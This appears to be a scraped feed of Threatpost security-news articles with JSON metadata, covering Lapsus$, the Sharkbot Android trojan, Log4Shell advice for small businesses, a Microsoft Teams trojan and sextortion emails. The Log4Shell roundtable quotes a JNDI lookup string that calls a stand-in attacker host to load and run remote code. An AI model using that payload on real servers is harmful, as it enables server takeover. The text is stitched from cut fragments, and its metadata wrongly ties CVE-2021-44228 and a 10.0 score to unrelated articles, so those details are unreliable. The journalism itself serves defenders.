glass during the pandemic.\n\n\u201cToday, teens have seen how much money is being made in criminal hacking, in some ways they are the new rockstars,\u201d Westin said. \u201cYou pair this with the fact kids have been couped up for three years often with nothing but the internet to entertain themselves and we shouldn\u2019t be surprised we have skilled hackers. The problem is that their brains are still developing and the line between fun and crime can get blurred, where it\u2019s common for kids to hack to gain notoriety amongst their peers, but this easily crosses over into decisions that can affect the rest of their lives.\u201d\n\nIt\u2019s too early to say whether this will be the end of Lapsus$, he said. \u201cit could still be a false flag, bad attribution, or even framing someone for the hacks. If it is this 16-year-old in England, it is likely we will see an end to the group\u2019s activity, unless one of their partners in cybercrime takes up the mantle.\u201d\n\nWhether Lapsus$ boils down to a criminal gang or a teenager from Oxford, what matters is that the \u201corganization\u201d clearly has the ability to infiltrate some of the world\u2019s largest organizations at a speed that makes these attacks impossible to prevent using traditional perimeter defense tools, said Darren Williams, founder and CEO of privacy/security/prevention firm BlackFog.\n\nWe can\u2019t stick all teenagers in suspended animation until their brains are fully formed, but we can take note of how these groups/individuals stick it to targeted organizations. In an email to Threatpost on Thursday, Williams noted that more than 84 percent of all attacks involve data exfiltration, exposing data on the Dark Web and/or public web sites.\n\n\u201cBy refocusing security efforts on anti-data exfiltration, organizations are able to mitigate extortion attempts, regulatory fines, reports and ultimately the loss of trust in the business,\u201d Williams suggested.\n\n**_Moving to the cloud?

Their confidence is disconnected from their admittance that their cybersecurity incidents are a result of their own outdated IT security plans, including widespread use of insecure and deprecated protocols, as well as growing numbers of unmanaged devices.\n\n\n\n(Brought to you by SpecOps.

The delusion is particularly dangerous, given the sky-high rate of ransomware attacks.

What\u2019s more, the data shows that if a business is hit once, it\u2019s more likely to be hit again.\n * A number of IT decision makers haven\u2019t faced an attack \u2013 and so they \u201caren\u2019t concerned.\u201d\n * 77 percent of IT decision makers are very or extremely confident in their company\u2019s ability to prevent or mitigate cybersecurity threats.

The advice back then (and now) was that organizations should check their backups to make sure they\u2019re usable. Innumerable articles and blogs interrogated admins, asking, Have you actually restored a backup recently to make sure that your restores work? Are they up to date?\n\n\u201cA lot of people, we\u2019re finding, actually, that their backup procedures were good, but maybe the technology wasn\u2019t up to date or they were too reliant on things like [volume shadow copies](<https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service>) on workstations,\u201d Jamie told us. \u201cA restore when data was corrupted, not realizing that ransomware gangs turn off volume shadow copies on workstations.\n\n\u201cSo you can\u2019t restore from that. And a lot of organizations found that maybe their backups weren\u2019t fully up to date and they had to go too far back in time to restore, to get themselves operationally back to date. And this has an obvious impact in terms of operating. Resilience has a cost factor associated with it, and getting yourself back to where you were yesterday.\u201d\n\nSo\u2026not to imply anything, but hey, we just thought we\u2019d ask: Have you checked your backups lately to make sure they work?\n\nIf not, maybe go do that. We\u2019ll wait.

The apps came from three developer accounts\u2013Zbynek Adamcik, Adelmio Pagnotto and Bingo Like Inc.\u2014at least two of which were active in the autumn of last year. The timeline makes sense, as Sharkbot [first came onto researchers\u2019](<https://blog.malwarebytes.com/trojans/2021/11/sharkbot-android-banking-trojan-cleans-users-out/>) radar screens in November.\n\n\u201cSome of the applications linked to these accounts were removed from Google Play, but still exist in unofficial markets,\u201d researchers wrote. \u201cThis could mean that the actor behind the applications is trying to stay under the radar while still involved in malicious activity.\u201d\n\nGoogle removed the offending applications, but not before they were downloaded and installed about 15,000 times, researchers said. Primary targets of Sharkbot are users in the United Kingdom and Italy, as was previously the case, they said.\n\n## **Unique Aspects**\n\nCPR researchers peered under the hood of Sharkbot and uncovered not only typical info-stealing tactics, but also some characteristics that set it apart from typical Android malware, researchers said. It includes a geofencing feature that selects users based on geographic areas, ignoring users from China, India, Romania, Russia, Ukraine or Belarus, they said.\n\nSharkbot also boasts some clever techniques, researchers noted. \u201cIf the malware detects it is running in a sandbox, it stops the execution and quits,\u201d they wrote.\n\nAnother unique hallmark of the malware is that it makes use of Domain Generation Algorithm (DGA), an aspect rarely used in malware for the Android platform, researchers said.\n\n\u201cWith DGA, one sample with a hardcoded seed generates seven domains per week,\u201d they wrote. \u201cIncluding all the seeds and algorithms we have observed, there is a total of 56 domains per week, i.e., 8 different combinations of seed/algorithm.\u201d\n\nResearchers observed 27 versions of Sharkbot in their research; the main difference between versions was different DGA seeds as well as different botnetID and ownerID fields, they said.\n\nAll in all, Sharkbot implements 22 commands that allow various malicious actions to be executed on a user\u2019s Android device, including: requesting permission for sending SMS messages; uninstalling a given applications; sending the device\u2019s contact list to a server; disabling battery optimization so Sharkbot can run in the background; and imitating the user\u2019s swipe over the screen.\n\n## **Timeline of Activity**\n\nResearchers first discovered four applications of the Sharkbot Dropper on Google Play on Feb. 25 and shortly thereafter reported their findings to Google on March 3. Google removed the applications on March 9 but then another Sharkbot dropper was discovered six days later, on March 15.\n\nCPR reported the third dropper discovered immediately and then found two more Sharkbot droppers on March 22 and March 27 that they also reported quickly to Google for removal.\n\nThe droppers by which Sharkbot spreads in and of themselves should raise concern, researchers said. \u201cAs we can judge by the functionality of the droppers, their possibilities clearly pose a threat by themselves, beyond just dropping the malware,\u201d they wrote in the report.\n\nSpecifically, researchers found the Sharkbot dropper masquerading as the following applications on Google Play;\n\n * com.abbondioendrizzi.tools[.]supercleaner\n * com.abbondioendrizzi.antivirus.supercleaner\n * com.pagnotto28.sellsourcecode.alpha\n * com.pagnotto28.sellsourcecode.supercleaner\n * com.antivirus.centersecurity.freeforall\n * com.centersecurity.android.cleaner\n\nThe droppers also have a few of their own evasion tactics, such as detecting emulators and quitting if one is found, researchers noted. They also are able to inspect and act on all the UI events of the device as well as replace notifications sent by other applications.\n\n\u201cIn addition, they can install an APK downloaded from the CnC, which provides a convenient starting point to spread the malware as soon as the user installs such an application on the device,\u201d researchers added.\n\n## **Google Play Under Fire**\n\nGoogle has [long struggled](<https://threatpost.com/google-play-malware-spy-trojans/164601/>) with the persistence of malicious applications and [malware](<https://threatpost.com/teabot-trojan-haunts-google-play-store/178738/>) on its Android app store and has made significant efforts to clean up its act.\n\nHowever, the emergence of Sharkbot disguised as AV solutions shows that attackers are getting sneakier in how they hide their malicious activity on the platform, and could serve to damage users\u2019 confidence in Google Play, noted a security professional.\n\n\u201cMalware apps that conceal their malicious functionality with time delays, code obfuscation and geofencing can be challenging to detect during the app review process, but the regularity that they are discovered lurking in official app stores really damages user trust in the safety of all apps on the platform,\u201d observed Chris Clements, vice president of solutions architecture at security firm [Cerberus Sentinel](<https://www.cerberussentinel.com/>), in an email to Threatpost**.**\n\nWith the smartphone at the center of people\u2019s digital lives and actins as a hub of financial, personal and work activity, \u201cany malware that compromises the security of such a central device can do significant financial or reputational damage,\u201d he added.\n\nAnother security professional urged caution to Android users when deciding whether or not to download a mobile app from a reputable vendor\u2019s store, even if it\u2019s a trusted brand.\n\n\u201cWhen installing apps from various technology stores, it is best to research the app before downloading it,\u201d observed James McQuiggan, security awareness advocate at [KnowBe4](<http://www.knowbe4.com/>). **\u201c**Cybercriminals love to trick users into installing malicious apps with hidden functionalities in an attempt to steal data or take over accounts.\u201d\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-08T16:06:29", "type": "threatpost", "title": "Google Play Bitten by Sharkbot Info-stealer \u2018AV Solution\u2019", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-04-08T16:06:29", "id": "THREATPOST:48A631F2D45804C677BB672F838F29DA", "href": "https://threatpost.com/google-play-bitten-sharkbot/179252/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-14T20:32:17", "description": "News of the Log4Shell vulnerability is everywhere, with security experts variously calling the Apache log4j logging library bug a recipe for an \u201cinternet meltdown,\u201d as well as the \u201cworst cybersecurity bug of the year.\u201d Names like \u201cApple,\u201d \u201cTwitter\u201d and \u201cCloudflare\u201d are being bandied about as being vulnerable, but what does the issue mean for small- and medium-sized businesses?\n\nWe asked security experts to weigh in on the specific effects (and advice/remedies) for SMBs in a set of roundtable questions, aimed at demystifying the firehose of information around the headline-grabbing issue.\n\nIt may seem overwhelming for smaller companies. But our experts, from Anchore, Cybereason, Datto, ESET, HackerOne, Invicti Security, Lacework and Mitiga, have weighed in here with exclusive, practical advice and explanations specifically for SMBs dealing with Log4Shell.\n\n_\u201cWiz research shows that more than 89 percent of all environments have vulnerable log4j libraries. And in many of them, the dev teams are sure they have zero exposure \u2014 and are surprised to find out that some third-party component is actually built using Java.\u201d \u2014 Ami Luttwak, __co-founder and CTO at Wiz, which has seen its usage double as a result of Log4Shell (via email to Threatpo__st)._\n\n_**Questions answered (click to jump to the appropriate section):**_\n\n * What bad Log4Shell outcomes are possible for SMBs?\n * How is a real-world Log4Shell attack carried out?\n * How can SMBs prepare for Log4Shell without a dedicated security team?\n * What happens if an SMB uses an MSP?\n * What applications should SMBs worry about being attacked?\n * How can SMBs remediate a Log4Shell attack?\n * Final thoughts\n\n## Background on Log4Shell\n\nLog4Shell ([CVE-2021-44228](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>)) affects applications that rely on the log4j library to log data. Because that library is almost ubiquitous in Java applications, virtually any business that has a website is highly likely to be affected. With one line of malicious code, attackers are able to execute malware or commands on a target application and take over the server that houses it.\n\nFrom there, an attacker can carry out any number of further attacks.\n\n\u201cSmall businesses are at significant risk because plenty of the software they rely on may be vulnerable, and they do not have the resources to patch quickly enough,\u201d Ofer Maor, Mitiga CTO, told Threatpost.\n\nSMBs also tend to rely on third-party software suppliers and managed service providers (MSPs) for their technology infrastructure, which reduces cost and reduces the need for dedicated IT staff. However, this unfortunately puts SMBs at even worse risk, because they need to rely on their third-party vendors to patch and respond in many cases.\n\nThe bug was first disclosed as a zero-day vulnerability last week, but an emergency fix has been rolled out that now must be incorporated by the many developers who use log4j in their applications. The steps to address Log4Shell for SMBs thus include identifying potentially affected applications (including those provided by MSPs), confirming the vulnerability\u2019s impact within them, and applying or confirming updates as soon as possible. SMBs will also need to determine whether they\u2019re already compromised and remediate the issue if so.\n\nAll of this should take priority since [a slew of attacks is imminent](<https://threatpost.com/log4shell-attacks-origin-botnet/176977/>), thanks to an exploit becoming publicly available online, researchers noted.\n\n\u201cNumerous attack groups are already [actively exploiting](<https://threatpost.com/apache-log4j-log4shell-mutations/176962/>) this vulnerability, mostly through automated scripts,\u201d Maor warned. \u201cThis means we expect to see this being exploited in masses, hitting tens of thousands or even more targets.\u201d\n\n## What Bad Log4Shell Outcomes Are Possible for SMBs?\n\n**Ofer Maor, Mitiga CTO:** One of the concerns is that a lot of these attacks now will focus on getting initial access only and establishing persistence (that is, installing something that will allow the attacker to have access to their systems later, even after the vulnerability has been fixed).\n\n**Marc-\u00c9tienne L\u00e9veill\u00e9, malware researcher for ESET:** SMBs providing online services may expose their system to malware and data exfiltration if their systems use the log4j software to log events. The risk is quite high, given the exploit is available online and relatively easy to trigger. Once into the network, cybercriminals could pivot to gain access to additional resources.\n\n**Josh Bressers, vice president of security at Anchore:** This vulnerability allows attackers to run the code of their choosing, such as a cryptominer, a backdoor or data-stealing malware, for example. One of the challenges for a vulnerability like this is the attacker landscape is changing rapidly. So far, most of the attacks seem to be using compute resources to mine cryptocurrency, but these attacks are changing and evolving each hour. It is expected that the attacks will gain in sophistication over the coming days and weeks.\n\n**Mark Nunnikhoven, distinguished cloud strategist at Lacework:** Unfortunately\u2026an attacker can take over your system or steal your data quite easily using this vulnerability.\n\n**Pieter Ockers, senior director of technical services at HackerOne: **In a more devastating case, criminals that gain initial access to the victim\u2019s environment could auction that access off to crews that specialize in executing ransomware attacks. SMBs should be hyper-aware of any of their software vendors/MSPs that use Apache log4j in case they are affected by a breach; I suspect we might hear of some ransomware attacks soon stemming from this vulnerability.\n\n## How Is a Real-World Log4Shell Attack Carried Out?\n\n**Cybereason CTO Yonatan Striem-Amit**: The most prevalent attack scenarios we\u2019ve seen are abusing things like the user agent or things like a log-in screen. If an application has a log-in page where a user is asked to put his username and password (and a lot of them do), an attacker could just supply the malicious string within that user field and get code execution on that server. After that he essentially controls logins, and therefore can start doing whatever he wants on that server, including, of course, eavesdropping into every other user who\u2019s logging in to the environment with their password.\n\n**Adam Goodman, vice president of product management at Invicti Security: **This attack is astonishingly easy to execute. This is because it may not require authentication to execute, nor would it require penetrating multiple application and/or networking layers to begin the exploit. It\u2019s simply a text string sent to any places that will be logged. And finding such a place is very easy \u2013 it can be a simple header, or a simple text field or error condition sent to a log file.\n\nTo exploit Log4Shell, the attacker may use any user input subsequently logged by the log4j framework. For example, in the case of a web application, it may be any text entry field or HTTP header such as User-Agent. Server logging is often set to log headers as well as form data.\n\nThe attacker only needs to include the following string in the logged user input:\n\n${jndi:ldap://attacker.com/executeme}\n\nWhere attacker.com is a server controlled by the attacker and executeme is the Java class to be executed on the victim server. And this is just one of many ways to exploit this vulnerability.\n\n**Lacework\u2019s Nunnikhoven: **\u201cA real world-attack can be as simple as the attack sending a specifically crafted web request to a vulnerable server. When the server processes that request, the attacker then has access to the server. The Lacework Labs team has documented this attack and some other technical aspects of attacks we\u2019ve seen in[ this blog post](<https://www.lacework.com/blog/lacework-labs-identifies-log4j-attackers/>).\u201d\n\n**Anchore\u2019s Bressers: **Attackers send requests to vulnerable applications, this triggers the vulnerability. The application then downloads a cryptocurrency mining application, in one scenario, and runs it on the compromised system. The cryptomining application then consumes large amounts of victim\u2019s processing power while the attacker claims the cryptomining rewards.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/12/14151922/log4j-e1639513188979.png>)\n\nTrend Micro published this attack-scenario flow on Tuesday (https://www.zerodayinitiative.com/blog/2021/12/14/the-december-2021-security-update-review).\n\n## How Can SMBs Address Log4Shell without a Dedicated Security Team?\n\n**HackerOne\u2019s Ockers: **These kinds of wide sweeping cyberattacks will always be a bigger challenge for those that lack a dedicated security team. If only one or two individuals in IT are working to monitor security, it\u2019s even more important you\u2019re prepared and have already taken stock of the software you\u2019re using and your vendor\u2019s software. Once you gain that visibility, I recommend patching any instances you find of log4j and updating the software to version 2.15.0 in your own software. I\u2019d also confirm any vendors\u2019 exposure and incident management around log4j patching and response.\n\n_According to __[Microsoft\u2019s recent blog](<https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/>)__, the log4j 2 library is included in widely deployed Apache products including Struts 2, Solr, Druid, Flink and Swift. SMBs that have built applications with these products should conduct a code audit to determine if the vulnerable version of log4j is in use._\n\n**Mitiga\u2019s Maor:** SMBs should set up an immediate task force to map all affected homegrown systems and patch them, while allowing IT to map all external systems and communicate with the censored systems.\n\n**Anchore\u2019s Bressers: **This vulnerability is going to be especially challenging for small and medium business users without a dedicated security team. Ideally software vendors are being proactive in their investigations and updates and are contacting affected customers, but this is not always the case.\n\nDepending on the level of technical acumen an organization has, there are steps that can be taken to detect and resolve the issue themselves. There are various open-source tools that exist to help detect this vulnerability on systems such as [Syft and Grype](<https://www.infoworld.com/article/3644492/how-to-detect-the-log4j-vulnerability-in-your-applications.html>). CISA has [released guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>) regarding this vulnerability, including steps a business can take.\n\n**Lacework\u2019s Nunnikhoven: **\u201cWhile IT knowledge is required, the basic steps don\u2019t require a security team. IT teams should be trying to find systems that use log4j in their environment and then apply one of the techniques the fantastic team of volunteers with the log4j project have published or the recommended guidance from that system\u2019s vendors. This is a lot of work but it\u2019s necessary to reduce the risk to your business.\n\n_The log4j team\u2019s resource is __[available here](<https://logging.apache.org/log4j/2.x/security.html>), in the mitigation section under the \u201cFixed in Log4j 2.15.0\u201d heading._ _Many organizations have also published free tools to help identify vulnerable applications, [like this one](<https://about.sourcegraph.com/blog/log4j-log4shell-0-day/>), [this one](<https://log4j-tester.trendmicro.com/>) or [this one](<https://github.com/hillu/local-log4j-vuln-scanner>)._\n\n**Invicti\u2019s Adam Goodman: **It\u2019s a nightmare of a problem if you have a surplus of Java applications deployed everywhere, not just on the primary website. Organizations should immediately determine where and how they directly or indirectly use this library and then take steps to mitigate the vulnerability by either upgrading the library or modifying Java system properties to disable the vulnerable functionality.\n\nAim to ensure that all applications have limited outbound internet connectivity, and use Ansible scripts or adequate security tools to scan _en masse_ for the vulnerability before forcibly patching it. It\u2019s crucial to use security tools that target all of the applications they can find so that organizations have a more accurate window into their security posture.\n\nOrganizations that lack sufficient budget to invest in discovery tools should make a list of Java applications which they add to continually, and check them off, while prioritizing apps that present the most risk if exploited.\n\n## What Happens if an SMB Uses an MSP?\n\n**Anchore\u2019s Bressers: **I would expect an MSP to take the lead on this issue for their customers. An MSP should be monitoring their infrastructure for indicators of compromise, applying workarounds when possible, and updating the managed applications as vendor updates become available. Any business using MSP services should reach out to their provider and request a status update on the Log4Shell.\n\n**Ryan Weeks, CISO at Datto:** \u201cCyber-threats are always prevalent. Especially for small to medium-sized businesses (SMBs) \u2013 [78 percent](<https://www.datto.com/resources/dattos-2020-global-state-of-the-channel-ransomware-report>) of MSPs reported attacks against their client SMBs in the last two years alone. MSPs have a responsibility to diligently check for vulnerabilities and arm their customers with the tools to combat them. It\u2019s not enough to simply install routine software updates. SMBs need to ensure their partners proactively push out security updates for any affected products, and continually monitor for potential exploits.\n\n**Invicti\u2019s Adam Goodman: **This is an issue front-and-center in the security community and if an organization is using an MSP, it\u2019s highly likely that MSP is actively working on this. Confirm that a ticket and incident is open for this vulnerability, and ask the MSP for a list of managed applications that are under remediation. It\u2019s vital to review that list of apps for anything that\u2019s missing, including any back-office or forgotten tools in the mix. Ensure the MSP has visibility into the attack surface so that you both can better handle necessary containment steps moving forward.\n\n**Lacework\u2019s Nunnikhoven: **A managed service provider can help update and fix the systems they manage. A managed security service provider can help detect and stop attacks aimed at this issue, and help investigate any attacks that may have already taken place. The first step in both cases is speaking with your MSP/MSSP to understand the steps they are taking to help protect their customers.\n\n## What Applications Should SMBs Worry About?\n\n**Mitiga\u2019s Maor:** Impact can vary significantly as many custom-developed and off-the-shelf products are impacted. Many adversaries are using the vulnerability as part of mass-scanning efforts to identify vulnerable systems. Likewise, some known malware strains have already incorporated exploitation of this vulnerability into their spreading mechanisms. Any Java application might be affected.\n\n**Invicti\u2019s Adam Goodman: **SMBs should address worries and concerns based on business risk. Internet-facing apps should receive immediate priority, followed by applications that are critical to the software supply chain or back-office and financial applications. There is also an excellent effort from the security community to compile all affected technologies, [it can be found here](<https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592>).\u201d\n\n**ESET\u2019s L\u00e9veill\u00e9: **As a first step, SMBs should ask questions of the organization providing their internet-facing services such as their website. Then they should see if any of their applications use log4j to generate logs. Java applications and webservices would be the first to look at because log4j is a Java library.\n\n**Cybereason\u2019s Striem-Amit:** The world of Java and open source has so many dependencies, where a company might use one product, but it actually carries with it a dozen other libraries. So log4j could be present even though a company might not necessarily even be aware or \u2026 done it directly. So the scanning and the analysis is severely complex. And you have to go in each one of your servers and see, are we using log4j either directly or indirectly in that environment.\n\n## How Can SMBs Remediate a Successful Log4Shell Attack?\n\n**Mitiga\u2019s Maor:** Thankfully, there\u2019s a lot that can be done to harden environments. For customers with internally developed applications, limiting outbound internet connections from servers to only whitelisted hosts is a great step, if challenging to implement. Likewise, a variety of cybersecurity companies have listed steps that can be taken to harden vulnerable versions of log4j if upgrades can\u2019t be performed readily. Similarly, exploitation of this vulnerability and many others can be caught using typical compromise assessment techniques. It pays to threat hunt! Remediation is no different than recovering from any other type of RCE vulnerability.\n\n**Lacework\u2019s Nunnikhoven: **\u201cRemediation of this issue will depend on where you find log4j. If it\u2019s in something you\u2019ve written, you can update the library or turn off the vulnerable feature. For commercial software and services, you\u2019re reliant on the vendor to resolve the issue. While that work is ongoing, monitoring your network to attack attempts is reasonably straightforward\u2026if you have the security controls in place.\n\nLacework Labs has published[ a detailed technical post](<https://www.lacework.com/blog/lacework-labs-identifies-log4j-attackers/>) on some of the attack techniques currently in use. Expect more variants as cybercriminals develop more techniques to avoid various security controls and other mitigation.\n\nIn situations like this it\u2019s important to understand that until the root cause has been resolved (log4j updated or the feature in question turned off), attackers will continue to work to evade any mitigations that defenders put in place to stop them.\n\n**Anchore\u2019s Bressers: **An organization without an incident-management team on staff should reach out to an incident-management consulting group. There are a number of important steps that should happen when investigating any cybersecurity attack, successful or not, that can require preserving evidence, recovering data, and protecting employees and users. This is a serious vulnerability with serious consequences. It\u2019s one of the worst we have seen in recent history because of its ease of exploitability, far-reaching impacts and powerful nature.\n\n## Final Thoughts\n\n**Datto\u2019s Weeks:** Scenarios such as the log4j vulnerability underscore the importance of proactivity in security. While many are now scrambling to address the vulnerability with patches, it\u2019s equally more important to plan for subsequent attacks. Fortunately, there are solutions that can apply known workarounds for vulnerable instances.\n\n**HackerOne\u2019s Ockers: **As a best practice, I recommend all businesses have a clear understanding of the software used within their own systems. Even more important for SMBs in this instance \u2014 businesses should also have a clear understanding of the licensing agreements and security policies of any software vendors or service providers.

Indeed, the number of daily active users of Teams [nearly doubled](<blank>) over the past year, increasing from 75 million users in April 2020 to 145 million as of the second quarter of 2021, according to Statista.\n\nThe latest campaign against Teams demonstrates an increased understanding of the collaboration app that will allow attacks against it to increase in both sophistication and volume, Fuchs noted. \u201cAs Teams usage continues to increase, Avanan expects a significant increase in these sorts of attacks,\u201d he wrote.\n\n## **Taking on Teams**** **\n\nIn order to plant malicious documents in Teams, researchers first have to get access to the application, Fuchs noted. This is possible in a number of ways, typically involving an initial [email compromise](<https://threatpost.com/microsoft-teams-tabs-bec/166909/>) through phishing to gain credentials or other access to a network, he said.\n\n\u201cThey can compromise a partner organization and listen in on inter-organizational chats,\u201d Fuchs wrote. \u201cThey can compromise an email address and use that to access Teams. They can steal Microsoft 365 credentials, giving them carte blanche access to Teams and the rest of the Office suite.\u201d\n\nOnce an attacker gains access to Teams, it\u2019s fairly easy to navigate and slip past any security protections, he noted. This is because \u201cdefault Teams protections are lacking, as scanning for malicious links and files is limited,\u201d and \u201cmany email security solutions do not offer robust protection for Teams,\u201d Fuchs wrote.\n\nAnother reason Teams is easy for hackers to compromise is that end users inherently trust the platform, sharing sensitive and even confidential data with abandon while using it, he said.\n\n\u201cFor example, an Avanan analysis of hospitals that use Teams found that doctors share patient medical information practically with no limits on the Teams platform,\u201d Fuchs wrote. \u201cMedical staff generally know the security rules and risk of sharing information via email, but ignore those when it comes to Teams. In their mind, everything can be sent on Teams.\u201d\n\nFurther, nearly every Teams user can invite people from other departments or other companies to collaborate via the platform, and there is often \u201cminimal oversight\u201d over these requests because of the trust people have, he added.\n\n## **Specific Attack Vector**\n\nIn the attack vector Avanan researchers observed, attackers first access Teams through one of the aforementioned ways, such as a phishing email that spoofs a user, or through a lateral attack on the network.\n\nThen, the threat actor attaches a .exe file to a chat \u2013 called \u201cUser Centric\u201d \u2013 that is actually a trojan. To the end user, it looks legitimate, because it appears to be coming from a trusted user.\n\n\u201cWhen someone attaches a file to a Teams chat, particularly with the innocuous-sounding file name of \u2018User Centric,\u2019 many users won\u2019t think twice and will click on it,\u201d Fuchs wrote.\n\nIf that happens, the executable will then install DLL files that install malware as a Windows program and create shortcut links to self-administer on the victim\u2019s machine, he said. The ultimate goal of the malware is to take over control of the machine and perform other nefarious activities.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-17T14:11:48", "type": "threatpost", "title": "Microsoft Teams Targeted With Takeover Trojans", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-17T14:11:48", "id": "THREATPOST:6675B640474BF8A8A3D049DB0266A118", "href": "https://threatpost.com/microsoft-teams-targeted-takeover-trojans/178497/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-23T17:30:25", "description": "A new French-language [sextortion campaign](<https://nakedsecurity.sophos.com/2022/02/21/french-cybercriminals-using-sextortion-scams-with-no-text-or-links/>) is making the rounds, researchers warn.\n\nAs noted by Sophos researchers in a Monday [report](<https://nakedsecurity.sophos.com/2022/02/21/french-cybercriminals-using-sextortion-scams-with-no-text-or-links/>), sextortion is one of the oldest tricks in the book, but its popularity has waned in recent years due to effective cybersecurity, law enforcement crackdowns and the rise of ransomware.\n\nThis new campaign is one signal of what may be a resurgence, they said.\n\n[](<https://bit.ly/34NwVmo>)\n\nClick to Register for FREE\n\n## Threats Sandwich Malware Links\n\nThe new French-language attack entails a blind email blast, shown below, with unsubstantiated claims of video evidence and so on. It cites France\u2019s legal penalties for watching illegal pornography, then tells the reader: \u201cIf you wish, you may reply to the address below to explain away your actions, so that we can evaluate your explanation and determine if charges should be brought.

We will proceed to have you arrested by the police closest to your place of residence.\u201d\n\nNotably, the malicious email contains no plaintext or hyperlinks. Instead, its text is displayed in an image file.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/23114449/French-sextortion-threat-email-e1645634734663.png>)\n\nFrench-language sextortion threat email. Source: Sophos.\n\nAttackers use hyperlinks to trick unwitting victims into downloading malware or visiting malicious webpages. As Sophos explains, \u201cAdding an image that holds the call-to-action text obviously makes it harder for a recipient to reply, because a plain image can\u2019t contain clickable links, or even text that can be copied and pasted.\u201d\n\nBut, as Mike Parkin \u2013 senior technical engineer at Vulcan Cyber \u2013 told Threatpost via email, \u201cThe fact that most scams end up in our junk mail folder shows how effective email filters have become, which is why they look to alternative methods like embedded PDFs or images rather than raw text or HTML that is easy for the filters to analyze.\u201d\n\n## What is Sextortion?\n\nSextortion is a form of blackmail in which a malicious actor claims to possess evidence of sexual misbehavior from their victim. The attacker demands payment in exchange for not spreading the compromising information or images.\n\nSometimes, these campaigns can combine with [botnets](<https://threatpost.com/phorpiex-botnet-shifts-ransomware-sextortion/149295/>), [ransomware](<https://threatpost.com/sextortion-emails-force-payment-via-gandcrab-ransomware/139753/>) and other methods of cyber attack to form a potent cocktail. However, as [prior](<https://threatpost.com/sextortionists-shift-scare-tactics-to-include-legit-passwords/133960/>) [attacks](<https://threatpost.com/sextortionists-defenses-cryptocurrency-shift/148967/>) have shown, sextortion tends to be rudimentary: Such attacks aren\u2019t targeted. Rather, they entail blind email blasts that prey on victims\u2019 fear, without any actual evidence of sexual impropriety to back them up.\n\n## Sextortion is on the Rise Again\n\n\u201cScams seem to run in cycles,\u201d notes Parkin. \u201cWhether it\u2019s a Prince from Nigeria, uncollected assets, scam victim compensation, extortion over adult websites you didn\u2019t visit, or whatever. Scammers will use one for a while, then shift to something else when they stop getting responses. Eventually, they\u2019ll circle back to an old scam that may have been updated with new text or a new graphic.\u201d\n\nLionel Sigal, CTI at CYE, told Threatpost via email that sextortion has recently been skyrocketing; \u201cSextortion attempts (real and fake) targeting executives of organizations have increased by 800% in the last 4 months,\u201d he said.\n\nCampaigns targeting ordinary individuals are also spiking: The FBI\u2019s Internet Crime Complaint Center received more than [16,000 sextortion complaints](<https://www.ic3.gov/Media/Y2021/PSA210902>) in only the first seven months of 2021.\n\nWill this old-hat method of cyber attack prove effective? \u201cIt\u2019s too early to tell what the hit rate is on this technique,\u201d Casey Ellis, Founder and CTO of Bugcrowd, told Threatpost via email, \u201cbut it feels to me like a pivot that people would fall for. If a scam has a take of $500 and it costs 1 cent to send an email, you only have to connect 1 in 50,000 times for the scam to break even.\u201d\n\nTo Parkin, \u201cthe best defense is solid user education. No matter how successful an attacker is at getting past the filters, their attack can only succeed if the target falls for it and takes the bait.\u201d\n\n**_Join Threatpost on Wed.

